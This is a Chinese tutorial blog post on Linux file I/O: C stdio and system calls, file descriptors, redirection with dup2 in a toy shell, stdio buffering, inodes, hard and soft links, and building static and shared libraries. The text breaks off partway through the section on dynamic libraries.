Linux文件(系统)IO(含动静态库的链接操作)

文章目录

  • Linux文件(系统)IO(含动静态库的链接操作)
    • 1、C语言文件IO操作
    • 2、三个数据流stdin、stdout、stderr
    • 3、系统文件IO
      • 3.1、相关系统调用接口的使用
      • 3.2、文件描述符fd
      • 3.3、文件描述符的分配规则
      • 3.3、重定向
      • 3.4、自制shell加入重定向功能
    • 4、FILE
    • 5、文件系统
      • 5.1、inode
      • 5.2、硬链接(Hard Link)
      • 5.3、软链接(Symbolic Link)
    • 6、动态库和静态库
      • 6.1、静态库
      • 6.2、动态库

img

Linux文件(系统)IO(含动静态库的链接操作)

1、C语言文件IO操作

  • fopen打开文件,fclose关闭文件

  • fwrite操作(写文件)

fwrite函数从ptr里将nitems个大小为size字节的数据写进定stream

  • hello_w.c文件

    #include <stdio.h>                                                              
    #include <string.h>    int main(){    FILE* pf = fopen("myfile.txt","w");    if(!pf){    perror("fopen");    return 1;    }    const char* msg = "hello fopen\n";    int count = 5;    while(count--){    fwrite(msg,strlen(msg),1,pf);    }    fclose(pf);    return 0;    
    }
    

    这里我们将会在此路径得到一个写有5hello fopenmyfile.txt文件,如下gif:

  • fread操作(写文件)

fread 不会在字符串末尾添加 null 终止符(\0),fgets会。

fread函数从定stream里读取nitemssize字节大小的数据存到ptr

  • hello_r.c文件

    #include <stdio.h>
    #include <string.h>int main(){FILE* pf = fopen("myfile.txt","r");if(!pf){perror("fopen");return 1;}char buffer[1024];while(1){//fgets// 每次读1个字节,读1024次(文件结束就不读)size_t s = fread(buffer,1,sizeof(buffer),pf);if(s > 0){buffer[s] = 0;printf("%s",buffer);}if(feof(pf)){break;}}fclose(pf);return 0;
    }
    

    这里我们将会在此路径读到myfile.txt文件,看到打印出来的数据,如下gif:

  • fgets操作(每次读文件的一行))

fgets函数从给定stream中读取size个字节放到str中,当发现换行符、文件结束符或发生错误时,读取将停止。

#include <stdio.h>
#include <string.h>int main(){FILE* pf = fopen("myfile.txt","r");if(!pf){perror("fopen");return 1;}char buffer[1024];const char* msg = "hello xxxxx\n";    while(1){    char* r = fgets(buffer,sizeof(msg),pf);                                                  if(!r)    break;    printf("%s",buffer);    }fclose(pf);return 0;
}

  • 打开文件的方式:
			 r      打开文本文件,用于读。流被定位于文件的开始。r+     打开文本文件,用于读写。流被定位于文件的开始。w      将文件长度截断为零,或者创建文本文件,用于写。流被定位于文件的开始。w+     打开文件,用于读写。如果文件不存在就创建它,否则将截断它。流被定位于文件的开始。a      打开文件,用于追加(在文件尾写)。如果文件不存在就创建它。流被定位于文件的末尾。a+     打开文件,用于追加(在文件尾写)。如果文件不存在就创建它。读文件的初始位置是文件的开始,但是输出总是被追加到文件的末尾。

2、三个数据流stdin、stdout、stderr

  • stdin(标准输入流):我们在C语言常用的scanf函数,其默认就是指定了标准输入流stdin
#include <stdio.h>int main(){int x = 0;scanf("%d",&x);return 0;
}

fread使用标准输入流:

#include <stdio.h>    
#include <string.h>    int main(){ char buffer[10];    // 这里要注意,这里的sizeof(buffer)-1是多少,fread就会去读多少数据,直到读到这么多数据    size_t bytesRead = fread(buffer, sizeof(char), sizeof(buffer)-1, stdin);    buffer[bytesRead] = '\0';  // 字符串结束符    printf("buff:%s",buffer);return 0;
}

如果我们想指定输入流,我们可以使用fscanf函数:

#include <stdio.h>    int main(){    FILE* pf = fopen("myfile","r");    if(!pf){    perror("fopen error");    return 1;    }    int in = 0;    fscanf(pf,"%d",&in);    printf("%d\n",in);fclose(pf);return 0;    
}

  • stdout(标准输出流):我们在C语言常用的printf函数,其默认就是指定了标准输入流stdout
#include <stdio.h>int main(){printf("%d\n",2);return 0;
}

fwrite使用标准输出流:

#include <stdio.h>    
#include <string.h>                                                                              int main(){    FILE* pf = fopen("myfile","w");    if(!pf){    perror("fopen");    return 1;    }    const char* msg = "hello fprintf\n";       fwrite(msg,strlen(msg),1,stdout);fclose(pf);	return 0;    
}

如果我们想指定输出流,我们可以使用fprintf函数:

#include <stdio.h>    int main(){    FILE* pf = fopen("myfile","w");    if(!pf){    perror("fopen error");    return 1;    }    const char* msg = "hello fprintf\n";    fprintf(pf,"%s",msg);                                                                       fclose(pf);return 0;    
}

  • stderr(标准输入流)(后面讲)

3、系统文件IO

3.1、相关系统调用接口的使用

  • 类比C标准库中的函数fopen、fwrite、fread等,我们称之为库函数(权限低)(底层就是使用系统调用接口)。

  • 而open、write、read等属于系统提供的接口,我们称之为系统调用接口(权限高)。

  • 参考下图的lib和系统调用接口

  • open打开文件,close关闭文件

这里注意有两个open系统调用接口,第一个不带第三个参数mode,这个mode就是给创建的文件设置权限的比如0666,就是让这个文件的root、自己、其他人的权限都设置为只能读写,当然,这个还要看权限掩码umask是多少,假如umask是0002这最后文件的权限为0664(前面的博客有讲权限掩码,自行查阅)。

  • 系统调用接口write写文件

write接口试图从buf中取nbyte字节的数据写到到文件描述符fildes指向的空间中

#include <stdio.h>    
#include <fcntl.h>    
#include <unistd.h>    
#include <string.h>    int main(){    int fd = open("myfile",O_WRONLY|O_TRUNC|O_CREAT,0666);                      printf("%d\n",fd);// 3const char* msg = "hello write\n";    write(fd,msg,strlen(msg));    close(fd);    return 0;    
}
  • 系统调用接口read读文件

read接口试图从文件描述符fildes指向的空间中读取nbyte字节放到buf

#include <stdio.h>    
#include <fcntl.h>    
#include <unistd.h>    
#include <string.h>    int main(){    int fd = open("myfile",O_RDONLY);    printf("%d\n",fd);// 3char buff[64];        const char* msg = "hello write\n";    read(fd,buff,strlen(msg));    printf("%s",buff);close(fd);    return 0;    
}

3.2、文件描述符fd

  • 经过上面对文件myfile的写读,我们知道这个open的返回值fd是3,那么为什么返回值是3?我们再打开几个文件试试它们的文件描述符到底是多少:

    #include <stdio.h>    
    #include <fcntl.h>    
    #include <unistd.h>    
    #include <string.h>    int main(){int fd1 = open("myfile1",O_WRONLY|O_TRUNC|O_CREAT,0666);    int fd2 = open("myfile2",O_WRONLY|O_TRUNC|O_CREAT,0666);    int fd3 = open("myfile3",O_WRONLY|O_TRUNC|O_CREAT,0666);    int fd4 = open("myfile4",O_WRONLY|O_TRUNC|O_CREAT,0666);    int fd5 = open("myfile5",O_WRONLY|O_TRUNC|O_CREAT,0666);    printf("%d\n",fd1);    printf("%d\n",fd2);    printf("%d\n",fd3);                                                         printf("%d\n",fd4);    printf("%d\n",fd5);//close省时间不写了return 0;
    }
    

    我们得出结果是:

    这像是什么?是不是数组的下标!那么问题又来了,前面的0,1,2去哪了?这时我们想到还有三个数据流,分别是stdin、stdout、stderr。我们继续来验证一下:

    #include <stdio.h>    
    #include <fcntl.h>    
    #include <unistd.h>    
    #include <string.h>    int main(){int fd1 = open("myfile1",O_WRONLY|O_TRUNC|O_CREAT,0666);    int fd2 = open("myfile2",O_WRONLY|O_TRUNC|O_CREAT,0666);    int fd3 = open("myfile3",O_WRONLY|O_TRUNC|O_CREAT,0666);    int fd4 = open("myfile4",O_WRONLY|O_TRUNC|O_CREAT,0666);    int fd5 = open("myfile5",O_WRONLY|O_TRUNC|O_CREAT,0666);    printf("%d\n",stdin->_fileno);    printf("%d\n",stdout->_fileno);    printf("%d\n",stderr->_fileno);    printf("%d\n",fd1);    printf("%d\n",fd2);                                                         printf("%d\n",fd3);    printf("%d\n",fd4);    printf("%d\n",fd5);//close省时间不写了return 0;
    }
    

    这个打印出来的结果是:

    因此验证了我们的猜想!

  • 而现在知道,文件描述符就是从0开始的小整数。当我们打开文件时,操作系统在内存中要创建相应的数据结构来描述目标文件。于是就有了file结构体,表示一个已经打开的文件对象。而进程执行open系统调用,所以必须让进程和文件关联起来。每个进程都有一个指针*files, 指向一张表files_struct,该表最重要的部分就是包涵一个指针数组,每个元素都是一个指向打开文件的指针!所以,本质上,文件描述符就是该数组的下标。所以,只要拿着文件描述符,就可以找到对应的文件。如下图:


3.3、文件描述符的分配规则

  • 来看下列代码:
#include <stdio.h>    
#include <fcntl.h>    
#include <unistd.h>    int main(){    int fd = open("myfile",O_RDONLY);    if(fd < 0){    perror("open");    return 1;    }    printf("%d\n",fd);    close(fd);    return 0;    
}

输出是3,关闭0或2试试(这里不能关闭1,因为1是标准输出流,关闭了我们就看不到输出结果,想看到输出结果我们需要进行输出重定向,下面会讲)

#include <stdio.h>    
#include <fcntl.h>    
#include <unistd.h>    int main(){    close(0);//close(2);int fd = open("myfile",O_RDONLY);    if(fd < 0){    perror("open");    return 1;    }    printf("%d\n",fd);    close(fd);    return 0;    
}

输出是0或者2。说明了什么?说明文件描述符的分配规则是在files_struct数组当中,找到当前没有被使用的最小的一个下标,作为新的文件描述符。


3.3、重定向

  • 重定向分为输入重定向和输出重定向

  • 针对上面关闭1的情况,关闭1后看不到输出结果了,那么我们可以进行输出重定向,看下面代码:

    #include <stdio.h>    
    #include <fcntl.h>    
    #include <unistd.h>    int main(){    close(1);int fd = open("myfile",O_WRONLY|O_CREAT,0666);    if(fd < 0){    perror("open");    return 1;    }    printf("%d\n",fd);    fflush(stdout);// 	刷新缓冲区close(fd);    return 0;    
    }
    

    我们发现,本来应该输出到显示器上的数据,输出到了myfile文件中!这种现象叫做输出重定向。输入重定向类似(从myfile文件中读取数据)。

    常见的重定向有:>, >>, <

  • 那么重定向的本质是什么?看下图:

    也就是将file*的指针重新指向新的文件。

  • 除了使用关闭标准输入输出流的方法实现重定向功能,还可以使用dup2系统调用。

    dup2系统调用,fildes2文件描述符是指定的,fildes是需要重定向的文件描述符。

    使用dup2系统调用代码:

    #include <stdio.h>    
    #include <fcntl.h>    
    #include <unistd.h>    int main(){    int fd = open("myfile",O_RDWR|O_CREAT,0666);                                   if(fd < 0){    perror("open");    return 1;    }    close(1);    dup2(fd,1);    printf("hello dup2\n");    fflush(stdout);    return 0;    
    }
    

    #include <stdio.h>
    #include <unistd.h>
    #include <fcntl.h>int main() {int fd = open("./log", O_CREAT | O_RDWR);if (fd < 0) {perror("open");return 1;}close(1);dup2(fd, 1);for (;;) {char buf[1024] = {0};ssize_t read_size = read(0, buf, sizeof(buf) - 1);// 从标准输入流(命令行)读取数据if (read_size < 0) {perror("read");break;}printf("%s", buf);fflush(stdout);}return 0;
    }
    

3.4、自制shell加入重定向功能

  • myshell.c文件

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <fcntl.h>
    #include <sys/stat.h>#define SIZE 1024
    #define MAX_LEN 128
    #define SEP " "// 下面的都和重定向有关
    #define NoneRedir  -1
    #define StdinRedir  0
    #define StdoutRedir 1
    #define AppendRedir 2//#define IgnSpace(buf,pos) do{ while(isspace(buf[pos])) pos++; }while(0)int redir_type = NoneRedir;
    char *filename = NULL;char* argv[MAX_LEN];//命令行字符串数组
    char pwd[SIZE];
    char envtemp[SIZE];
    int lastcode = 0;//退出码const char* HostName(){char* hostname = getenv("HOSTNAME");if(hostname) return hostname;else return "None";
    }const char* UserName(){char* hostname = getenv("USER");if(hostname) return hostname;else return "None";
    }const char* CurrentWorkDir(){char* hostname = getenv("PWD");if(hostname) return hostname;else return "None";
    }char* Home(){char* hostname = getenv("HOME");if(hostname) return hostname;else return "None"; 
    }int Interactive(char* commandline, int size){printf("[%s@%s %s]$ ",UserName(),HostName(),CurrentWorkDir());fgets(commandline,SIZE,stdin);commandline[strlen(commandline)-1] = '\0';return strlen(commandline);//空串返回0
    }void Check_redir(char in[])
    {// ls -a -l// ls -a -l > log.txt// ls -a -l >> log.txt// cat < log.txtredir_type = NoneRedir;filename = NULL;int pos = strlen(in) - 1;while( pos >= 0 ){if(in[pos] == '>'){if(in[pos-1] == '>'){redir_type = AppendRedir;in[pos-1] = 0;pos++;//IgnSpace(in, pos);while(in[pos] == ' '){pos++;}filename = in+pos;break;}else{redir_type = StdoutRedir;in[pos++] = 0;//IgnSpace(in, pos);while(in[pos] == ' '){pos++;}filename = in+pos;//printf("debug: %s, %d\n", filename, redir_type);break;}}else if(in[pos] == '<'){redir_type = StdinRedir;in[pos++] = 0;//IgnSpace(in, pos);while(in[pos] == ' '){pos++;}filename = in+pos;//printf("debug: %s, %d\n", filename, redir_type);break;}else{pos--;}}
    }void Split(char* commandline){Check_redir(commandline);int i = 0;argv[i++] = strtok(commandline,SEP);while(argv[i++] = strtok(NULL,SEP));//解决ls无彩色问题if(strcmp(argv[0],"ls") == 0){argv[i-1] = (char*)"--color";argv[i] = NULL;}
    }int BuildingCmd(){int ret = 0;if(strcmp(argv[0],"cd") == 0){ret = 1;char* target = argv[1];//cd XXX 和cdif(!target) target = Home();//第二个参数为NULL//改变当前工作目录chdir(target);//处理target为..的情况//重新获取当前路径char temp[1024];getcwd(temp,1024);//更新当前环境变量PWDsnprintf(pwd,SIZE,"PWD=%s",temp);//导出环境变量putenv(pwd);}else if(strcmp(argv[0],"export") == 0){ret = 1;if(argv[1]){strcpy(envtemp,argv[1]);putenv(envtemp);}}else if(strcmp(argv[0],"echo") == 0){ret = 1;if(argv[1] == NULL){printf("\n");}else{if(argv[1][0] == '$'){if(argv[1][1] == '?'){printf("%d\n",lastcode);lastcode = 0;}else{char* e = getenv(argv[1]+1);if(e) printf("%s\n",e);}}else{printf("%s\n",argv[1]);}}}return ret;
    }void Execute(){//只能交给子进程,如果用父进程执行命令行,执行一次就结束了pid_t id = fork();if(id < 0) perror("fork\n");else if(id == 0){int fd = -1;if(redir_type == StdinRedir){fd = open(filename, O_RDONLY);dup2(fd, 0);}else if(redir_type == StdoutRedir){umask(0);fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC,0666);dup2(fd, 1);}else if(redir_type == AppendRedir){fd = open(filename, O_CREAT | O_WRONLY | O_APPEND);dup2(fd, 1);}else{// do nothing}execvp(argv[0],argv);exit(1);//执行完退出}//父进程等待子进程int status = 0;pid_t rid = waitpid(id,&status,0);if(rid == id) lastcode = WEXITSTATUS(status);//等待成功
    }int main(){while(1){char commandline[SIZE];//1. 打印命令行提示符,获取用户的命令字符串int n = Interactive(commandline,SIZE);if(!n) continue;//返回值为0就是空串,下面代码不再执行//2. 对命令行字符串进行切割Split(commandline);//3. 处理内建命令n = BuildingCmd();if(n) continue;//4. 执行这个命令Execute();}//int i;//for(i=0;argv[i];++i){//    printf("argv[%d]:%s\n",i,argv[i]);//}return 0;
    }
    

4、FILE

  • 因为IO相关函数与系统调用接口对应,并且库函数封装系统调用,所以本质上,访问文件都是通过fd访问的。所以C库当中的FILE结构体内部,必定封装了fd。

  • 研究以下代码看输出结果

#include <stdio.h>    
#include <unistd.h>    
#include <sys/types.h>    
#include <sys/stat.h>    
#include <fcntl.h>    
#include <string.h>    int main(){    //int fd  = open("myfile",O_RDWR|O_CREAT|O_TRUNC,0666);    const char* msg1 = "hello printf\n"; // \n自带刷新    const char* msg2 = "hello fwrite\n";    const char* msg3 = "hello write\n";    write(1,msg3,strlen(msg3));    printf("%s",msg1);    fwrite(msg2,strlen(msg2),1,stdout);    fork();    return 0;    
}

结果如下:

但如果对进程实现输出重定向呢? ./buffer > buffile , 我们发现结果变成了:

我们发现 printf 和 fwrite (库函数)都输出了2次,而 write 只输出了一次(系统调用)。为什么呢?肯定和fork有关!

  • 一般C库函数写入文件时是全缓冲的,而写入显示器是行缓冲

  • printf和``fwrite `库函数会自带缓冲区(之前的进度条例子就可以说明),当发生重定向到普通文件时,数据的缓冲方式由行缓冲变成了全缓冲。而我们放在缓冲区中的数据,就不会被立即刷新,甚至fork之后。但是进程退出之后,会统一刷新,写入文件当中。但是fork的时候,父子数据会发生写时拷贝,所以当你父进程准备刷新(刷新完相当于清空数据,就会发生写时拷贝)的时候,子进程也就有了同样的一份数据,随即产生两份数据。

  • write 没有变化,说明没有所谓的缓冲。

  • 图示:

  • 那么为什么会有缓冲区这个概念呢?
  • 可以提高使用者的效率
  • **减少系统调用次数:**调用系统调用是有时间和空间上的消耗的,增加缓冲区可以在数据填满过后再调用系统调用,减少调用系统调用的次数
  • **减少磁盘访问次数:**直接将数据写入磁盘会导致频繁的磁盘访问,而磁盘访问是一种相对较慢的操作。通过使用缓冲区,可以将多个写入操作合并到一起,减少磁盘访问次数,提高写入性能。
  • 模拟实现FILE结构体
  • mystdio.h文件

    #include<stdio.h>                                                                                                                                                     #define NONE_FLUSH (1<<1)
    #define LINE_FLUSH (1<<2)
    #define FULL_FLUSH (1<<3)
    #define SIZE 1024typedef struct _myFILE{int fileno;int pos;// 当前写入位置int cap;// 文件容量int flush_mode; // 刷新模式char buff[SIZE];
    }myFILE;myFILE* my_fopen(const char *path, const char *mode);int my_fwrite(const char *ptr, int size,myFILE *stream);//int my_fread(void *ptr, int size, myFILE *stream);void my_fclose(myFILE* stream);const char *toString(int flag);void DebugPrint(myFILE *fp);
    
  • mystdio.c文件

    #include "mystdio.h"                                                                                                                                                                                                                                                                                                                                                                   
    #include <fcntl.h>           
    #include <string.h>          
    #include <sys/types.h>       
    #include <sys/stat.h>        
    #include <stdlib.h>      
    #include <unistd.h>      myFILE* my_fopen(const char *path, const char *mode){      int flag = 0;      if(strcmp(mode,"r") == 0){      flag |= O_RDONLY;      }else if(strcmp(mode,"w") == 0){      flag |= (O_WRONLY|O_CREAT|O_TRUNC);      }else if(strcmp(mode,"a") == 0){      flag |= (O_WRONLY|O_CREAT|O_APPEND);      }else{      return NULL;      }      int fd = 0;      if(flag & O_WRONLY){      umask(0);      fd = open(path,flag,0666);      }else{      fd = open(path,flag);      }      if(fd < 0) return NULL;      myFILE* fp = (myFILE*)malloc(sizeof(myFILE));      if(!fp){      perror("malloc");      return NULL;      }      fp->fileno = fd;      fp->pos = 0;      fp->cap = SIZE;      fp->flush_mode = LINE_FLUSH;      return fp;      
    }      void my_fflush(myFILE* stream){      if(stream->pos == 0) return;      write(stream->fileno,stream->buff,stream->pos);      stream->pos = 0;// 刷新后pos到最初位置      
    }      int my_fwrite(const char *ptr, int size,myFILE *stream){      memcpy(stream->buff+stream->pos,ptr,size);// buff从pos开始       stream->pos += size;      if((stream->flush_mode & LINE_FLUSH) && (stream->buff[stream->pos-1] == '\n')){      my_fflush(stream);      }else if((stream->flush_mode & FULL_FLUSH) && (stream->pos == stream->cap)){      my_fflush(stream);      }      return size;      
    }      void my_fclose(myFILE* stream){      my_fflush(stream);      close(stream->fileno);      free(stream);      
    }      const char *toString(int flag)      
    {      if(flag & NONE_FLUSH) return "None";      else if(flag & LINE_FLUSH) return "Line";      else if(flag & FULL_FLUSH) return "FULL";      return "Unknow";      
    }      void DebugPrint(myFILE *fp)      
    {      printf("outbufer: %s\n", fp->buff);      printf("fd: %d\n", fp->fileno);      printf("pos: %d\n", fp->pos);      printf("cap: %d\n", fp->cap);      printf("flush_mode: %s\n", toString(fp->flush_mode));      
    } 
    
  • main.c文件

    #include "mystdio.h"    
    #include <string.h>    
    #include <unistd.h>    int main(){    myFILE* fp = my_fopen("myfile","w");    if(!fp) return 1;    const char* msg = "hello my_fwrite\n";    my_fwrite(msg,strlen(msg),fp);                                                                                                                                    //int cnt = 5;    //char buffer[64];    //while(cnt)    //{    //    snprintf(buffer, sizeof(buffer), "helloworld,hellobit,%d  ", cnt--);    //    my_fwrite( buffer, strlen(buffer),fp);    //    DebugPrint(fp);    //    sleep(2);    //    //my_fflush(fp);    //}    //    //fork();    my_fclose(fp);    return 0;    
    }
    

5、文件系统

我们在命令行输入ls -l ,除了看见文件名,还看见了一些文件的其他属性

其中还包含:

  • 模式
  • 硬链接数
  • 文件所有者
  • 文件所属组
  • 大小
  • 最后修改时间
  • 文件名

还可以通过stat命令来获取文件的更多信息

上面的执行结果有几个信息我们可以通过inode来解释一下


5.1、inode

为了能解释清楚inode,我们需要来理解一下文件系统,我们先看以下这张磁盘文件系统图:

磁盘是一个典型的块设备,磁盘分区被划分为一个个的block(块)。一个block的大小是在格式化的时候确定的,后面不可更改。

解释一下上述图片各名词的含义:

  • 块组(Block Group):文件系统会根据分区的大小划分为数个块组,一个块组就是一个分区,并且每个块组都会有相同的结构组成。

  • 超级块(Super Block):存放文件系统本身的信息。记录的信息主要有:bolck 和 inode的总量,未使用的block和inode的数量,一个block和inode的大小,最近一次挂载的时间,最近一次写入数据的时间,最近一次检验磁盘的时间等其他文件系统的相关信息。Super Block的信息被破坏,可以说整个文件系统结构就被破坏了,不过一般磁盘不止一个扇区存放有超级块,可能会有三四个扇区存放有超级块,以便于第一个扇区的超级块损坏可以通过其他扇区的超级块来恢复。

  • 块组描述(Group Discriptor Table):描述块组属性信息,也就是管理磁盘块位图、inode为徒、inode表、数据块的使用情况。

  • 块位图(Block Bitmap):块位图中记录着数据块中哪个数据块已经被占用,哪个数据块没有被占用。

  • inode位图(inode Bitmap):每个bite表示该inode编号是否已经被使用,比如0表示没有被使用,1表示已经被使用。

  • inode表(inode Table):存放文件属性。如文件大小,所有者,最近修改时间,使用的块情况等

  • 数据块(Data Block):存放文件内容。

将属性和数据分开存放的想法看起来很简单,但实际上是如何工作的呢?我们通过touch一个新文件来看看如何工作的。

查看inode编号ls -li

从整体上来看,创建一个文件所经历的步骤如下:

为了说明问题,我们将上图简化:

创建文件一般需要4个操作:

  1. 存储属性

    内核先找到一个空闲的i节点(这里是263466)。内核把文件信息记录到其中。

  2. 存储数据

    该文件需要存储在三个磁盘块,内核找到了三个空闲块:300,500,800。将内核缓冲区的第一块数据复制到300,下一块复制到500,以此类推。

  3. 记录分配情况

    文件内容按顺序300,500,800存放。内核在inode上的磁盘分布区记录了上述块列表。

  4. 添加文件名到目录

    新的文件名abc。linux如何在当前的目录中记录这个文件?内核将入口(263466,abc)(映射关系)添加到目录文件。文件名和inode之间的对应关系将文件名和文件的内容及属性连接起来。


插写一个文件系统操作:

使用dd命令创建大文件并将其写入文件系统,然后将文件系统挂载到系统中,可以按照以下步骤进行:

  1. 创建目录 /path/to

    mkdir -p /path/to
    
  2. 使用 dd 命令创建大文件

    以下命令创建一个大小为1GB的空文件:

    dd if=/dev/zero of=/path/to/largefile bs=1M count=1024
    

    这将在指定路径创建名为 largefile 的大小为1GB的空文件。

  3. 使用 mkfs 创建文件系统

    在上面创建的文件中,可以使用适当的文件系统类型(例如ext4)来创建文件系统。假设要创建ext4文件系统:

    mkfs.ext4 /path/to/largefile
    

    这将在 /path/to/largefile 中创建一个ext4文件系统。

  4. 挂载文件系统

    创建文件系统后,您可以将其挂载到系统中的某个目录。首先,创建一个用于挂载的目录:

    mkdir /mnt/largefile
    

    然后将文件系统挂载到此目录:

    mount -o loop /path/to/largefile /mnt/largefile
    

    这将将 /path/to/largefile 中的文件系统挂载到 /mnt/largefile 目录中。


5.2、硬链接(Hard Link)

  • 硬链接是指在文件系统中,多个文件可以指向同一个inode,这样多个文件实际上指向了相同的数据块
  • 硬链接是文件系统级别的链接,它们只是指向了相同的inode,不保留路径信息,因此即使原文件移动或重命名,硬链接仍然有效。
  • 删除原文件并不会影响硬链接的可用性,只有当所有链接都被删除后,文件的inode和数据块才会被释放

使用硬链接:ln 原文件名 硬链接文件名,如下

ln file.txt file.hard

我们前面有讲到,文件的一行属性信息,有一个是硬链接数,我们能看到,一开始没给file.txt建立硬链接的时候,它的硬链接数1,就是只有自己,当给它建立硬链接后,硬链接的文件和原文件的硬链接数都变为2。

因此我们得出结论:普通文件的硬链接数等于该文件的建立的硬链接文件个数+1(可以自行再给file.txt文件再建立一个硬链接文件,看是不是硬链接数都变为3)。

我们再看目录的硬链接数:

我们看到,新创建的目录就有2个硬链接数!为什么是两个?我们看图可以知道,一个是自己的目录文件的,还有一个是该目录下的.目录的,我们知道目录.就是指当前目录。我们再来测试,在该目录下再创建5个目录,再看看硬链接数是多少?

能看到硬链接数变为7了!为什么呢?我们发现其中2个是自己和.目录,还有5个是该目录下的目录(a、b、c、d、e)下的..目录,显而易见..目录就是上级目录。因此我们得出结论:目录文件的硬链接数等于2+该目录下的目录个数。

注意:用户不能自己给目录建立硬链接,只能由系统创建!因为自己创建目录的硬链接会导致路径回路。

假如当前目录是/user/home,你给user目录创建一个硬链接/,哪当前创建的硬链接目录变为了/user/home/user,这就导致了路径回路。


5.3、软链接(Symbolic Link)

软链接也叫符号链接。

  • 软链接是一个特殊的文件,它包含了指向另一个文件的路径,相当于一个快捷方式
  • 软链接可以跨越文件系统,因为它们保存的是路径信息而不是inode号。
  • 软链接不像硬链接那样指向相同的数据块,而是指向目标文件的路径,因此即使原文件移动或重命名,软链接也可能失效。
  • 删除原文件后,软链接将成为死链接(即指向一个不存在的目标),如果不再需要,可以手动删除

使用软链接:ln -s 原文件 软链接文件。如:

ln -s file.txt file.symb


6、动态库和静态库

下面讲解动静态库可能会用到的文件

  • mystdio.h文件

    #include<stdio.h>#define NONE_FLUSH (1<<1)
    #define LINE_FLUSH (1<<2)
    #define FULL_FLUSH (1<<3)
    #define SIZE 1024typedef struct _myFILE{int fileno;int pos;// 当前写入位置int cap;// 文件容量int flush_mode; // 刷新模式char buff[SIZE];
    }myFILE;myFILE* my_fopen(const char *path, const char *mode);int my_fwrite(const char *ptr, int size,myFILE *stream);//int my_fread(void *ptr, int size, myFILE *stream);void my_fclose(myFILE* stream);const char *toString(int flag);void DebugPrint(myFILE *fp);
    
  • mystdio.c文件

    #include "mystdio.h"
    #include <fcntl.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <stdlib.h>
    #include <unistd.h>myFILE* my_fopen(const char *path, const char *mode){int flag = 0;if(strcmp(mode,"r") == 0){flag |= O_RDONLY;}else if(strcmp(mode,"w") == 0){flag |= (O_WRONLY|O_CREAT|O_TRUNC);}else if(strcmp(mode,"a") == 0){flag |= (O_WRONLY|O_CREAT|O_APPEND);}else{return NULL;}int fd = 0;if(flag & O_WRONLY){umask(0);fd = open(path,flag,0666);}else{fd = open(path,flag);}if(fd < 0) return NULL;myFILE* fp = (myFILE*)malloc(sizeof(myFILE));if(!fp){perror("malloc");return NULL;}fp->fileno = fd;fp->pos = 0;fp->cap = SIZE;fp->flush_mode = LINE_FLUSH;return fp;
    }void my_fflush(myFILE* stream){if(stream->pos == 0) return;write(stream->fileno,stream->buff,stream->pos);stream->pos = 0;// 刷新后pos到最初位置
    }int my_fwrite(const char *ptr, int size,myFILE *stream){memcpy(stream->buff+stream->pos,ptr,size);// buff从pos开始 stream->pos += size;if((stream->flush_mode & LINE_FLUSH) && (stream->buff[stream->pos-1] == '\n')){my_fflush(stream);}else if((stream->flush_mode & FULL_FLUSH) && (stream->pos == stream->cap)){my_fflush(stream);}return size;
    }void my_fclose(myFILE* stream){my_fflush(stream);close(stream->fileno);free(stream);
    }const char *toString(int flag)
    {if(flag & NONE_FLUSH) return "None";else if(flag & LINE_FLUSH) return "Line";else if(flag & FULL_FLUSH) return "FULL";return "Unknow";
    }void DebugPrint(myFILE *fp)
    {printf("outbufer: %s\n", fp->buff);printf("fd: %d\n", fp->fileno);printf("pos: %d\n", fp->pos);printf("cap: %d\n", fp->cap);printf("flush_mode: %s\n", toString(fp->flush_mode));
    }
    
  • cal.h文件

    #pragma once                                                                       int Add(int a, int b);
    
  • cal.c文件

    #include "cal.h"    int Add(int a ,int b){    return a + b;                                                                  
    }
    
  • main.c文件

    #include <stdio.h>    
    #include "cal.h"    
    #include "mystdio.h"    int main(){    int res = Add(10,20);    printf("%d+%d=%d\n",10,20,res);    myFILE* fp = my_fopen("log1.txt","w");    if(fp) return 1;                                                               return 0;    
    }
    

6.1、静态库

静态库(.a文件):程序编译的时候把哭的代码链接到可执行文件中,程序运行时不再需要静态库

  • 生成静态库:将.o文件打包生成静态库

  • 使用归档工具:ar -rc 静态库名 .o文件

  • ar是gnu归档工具,rc表示(replace and create)

  • 这里的.o文件是用命令gcc -o 生成的(和动态库不一样,下面动态库会讲)

  • 需要注意的是:静态库名是有规范的,不能写成XXX.a,必须写成libXXX.a

  • 如:ar -rc libmylib.a *.o

  • 查看静态库列表ar -tv 静态库名

  • -t:列出静态库中的文件

  • -v:verbose 详细信息

  • 如:ar -tv libmylib.a

  • 使用静态库

  • 先将main.c生成main.o文件

    • 这里我们使用一个新命令 gcc -c .c文件,可以生成同名.o文件。如gcc -c main.c
  • 再使用命令:gcc - o 可执行文件 带main函数的目标文件(如main.o) -L 静态库路径 -l静态库名(去除前缀lib和后缀.a,如mylib) -static

  • gcc -o myexe main.c -L. -lmylib -static

  • 解释一下选项:

    • -L:指定静态库路径(当前路径可以使用.,也可以使用绝对路径)
    • -l:指定静态库
    • -static:指定是静态链接


6.2、动态库

动态库相对静态库的使用更复杂,原理也更复杂。

动态库(.so文件):程序在运行的时候才去链接动态库的代码,多个程序共享使用库的代码。

一个与动态库链接的可执行文件仅仅包含它用到的函数入口地址的一个表,而不是外部函数所在目标文件的整个机器码(不像静态库那样直接在代码里面展开)。

在可执行文件开始运行以前,外部函数的机器码由操作系统从磁盘上的该动态库中复制到内存中,这个过程称为动态链接(dynamic linking)

动态库可以在多个程序间共享,所以动态链接使得可执行文件更小,节省了磁盘空间。操作系统采用虚拟内存机制允许物理内存中的一份动态库被要用到该库的所有进程共用,节省了内存和磁盘空间。

  • 生成动态库:动态库的生成也需要目标文件,但是动态库的目标文件和静态库的目标文件的生成方式不一样,动态库目标文件必须使用选项fPIC(产生位置无关码)。

    • 先将.c文件生成.o文件:gcc -c -fPIC *.c,将.c文件生成同名.o文件

    • 再使用选项shared.o文件打包成动态库:gcc -shared -o 动态库名 .o文件

    • gcc -shared -o libmylib.so *.o

    • 需要注意的是:这个动态库名也有规则:不能是XXX.so,必须是libXXX.so

  • 使用动态库

    • 先用main.c文件生成main.o文件

    • 再使用命令gcc -o 可执行文件 带main函数的目标文件 -L动态库路径 -l(动态库名去掉前缀lib,去掉后缀.so)

    • gcc -o myexe main.o -L. -lmylib

  • 现在有一个问题:如果动态库不在当前目录下呢?

    我们来测试一下,将动态库和头文件放到一个目录下

